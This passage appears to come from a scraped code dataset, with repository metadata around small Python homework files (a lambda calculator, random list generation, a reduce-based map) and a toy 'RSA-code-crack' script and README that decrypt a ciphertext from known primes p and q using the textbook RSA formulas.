x + y,\n '-': lambda x, y: x - y,\n '*': lambda x, y: x * y,\n '/': lambda x, y: x / y,\n '**': lambda x, y: x ** y,\n }\n if sign in lambda_var:\n print(lambda_var[sign](number1, number2))\n else:\n print('Error')\n" }, { "alpha_fraction": 0.5257270932197571, "alphanum_fraction": 0.6196867823600769, "avg_line_length": 48.55555725097656, "blob_id": "9c669e47b7df542c687c10dd10cb259de23346f3", "content_id": "08b49b46f0e88cbf1b276071a1515fc7d3a12678", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "no_license", "max_line_length": 107, "num_lines": 9, "path": "/hw3_3.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "import random\n\nletters = ['a', 'df', 'c', 'nk', 'qw', 'b', 'j', 'lp', 'uo', 't']\ngen_random_list = random.choices(letters, k=10)\nprint(gen_random_list)\nlist_num = [random.randint(1, 100), random.randint(1, 100), random.randint(1, 100), random.randint(1, 100),\n random.randint(1, 100), random.randint(1, 100), random.randint(1, 100), random.randint(1, 100),\n random.randint(1, 100), random.randint(1, 100), ]\nprint(list_num)\n\n" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 54, "blob_id": "ad7d65a0522e84f6c408710a0c39e55e6752ccb3", "content_id": "a92f0ff7d78ee8747241b767ff40f7172c20c187", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 110, "license_type": "no_license", "max_line_length": 81, "num_lines": 2, "path": "/hw7_1.1.1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "def my_map(func, iterable):\n return functools.reduce(lambda accum, val: accum + [func(val)], iterable, [])\n" } ]
21
LowSpec-Coder/RSA-code-crack
https://github.com/LowSpec-Coder/RSA-code-crack
4c6c4cf900e2499a2b6532da84b57c02938f95ad
f0c4f4b4f1e9e300f9e114c4184c18c9b4abb011
c8d7846314bd2a5450b8a3992f4804dd979c605a
refs/heads/main
2023-03-12T21:30:39.888771
2021-03-01T06:24:29
2021-03-01T06:24:29
343,311,676
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.42260870337486267, "alphanum_fraction": 0.6330434679985046, "avg_line_length": 16.42424201965332, "blob_id": "f1dbcb546fa452dc1edb21fed7d4844f43b316ba", "content_id": "003db2248a52b4a2d21d18cf2494cd5ee8cf5e6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 575, "license_type": "no_license", "max_line_length": 46, "num_lines": 33, "path": "/rsa_crack.py", "repo_name": "LowSpec-Coder/RSA-code-crack", "src_encoding": "UTF-8", "text": "from Crypto.Util.number import long_to_bytes\nimport libnum\nimport sys\n\np=954354002755510667\nq=801297755486859913\nc=607778777406675887172756406181993732\n#N=764721720347891218098402268606191971\n\nif (len(sys.argv)>1):\n c=int(sys.argv[1])\nif (len(sys.argv)>2):\n p=int(sys.argv[2])\nif (len(sys.argv)>3):\n q=int(sys.argv[3])\n\nn = p*q\nPHI=(p-1)*(q-1)\n\ne=65537\nd=(libnum.invmod(e, PHI))\n\n\nres=pow(c,d, n)\n\nprint (\"Cipher: \",c)\nprint (\"p: \",p)\nprint (\"q: \",q)\n\nprint (\"\\n=== Calc ===\")\nprint (\"d=\",d)\nprint (\"n=\",n)\nprint (\"Decrypt: %s\" % ((long_to_bytes(res))))\n" }, { "alpha_fraction": 0.6744791865348816, "alphanum_fraction": 0.703125, "avg_line_length": 47, "blob_id": "cac48d6f749dd29cc02b9c890d163b6d8c6735f5", "content_id": "53b85261d26da993de96505324de0bac37d26c75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 388, "license_type": "no_license", "max_line_length": 120, "num_lines": 8, "path": "/README.md", "repo_name": "LowSpec-Coder/RSA-code-crack", "src_encoding": "UTF-8", "text": "# RSA-code-crack\nMade this for fun, crack the rsa given the cipher(c), the encryption key(e, N) where e = 65,537. In RSA c = M^e (mod N)\n\nSteps to crack RSA \n1.First factorize N into p and q (here). This will give you p and q (the two prime numbers).\n2.Next we determine PHI=(p−1)(q−1).\n3.Next we derive d (the decryption key value) from e and PHI.\n4.Then decipher with Msg=Cd(modN)\n" } ]
2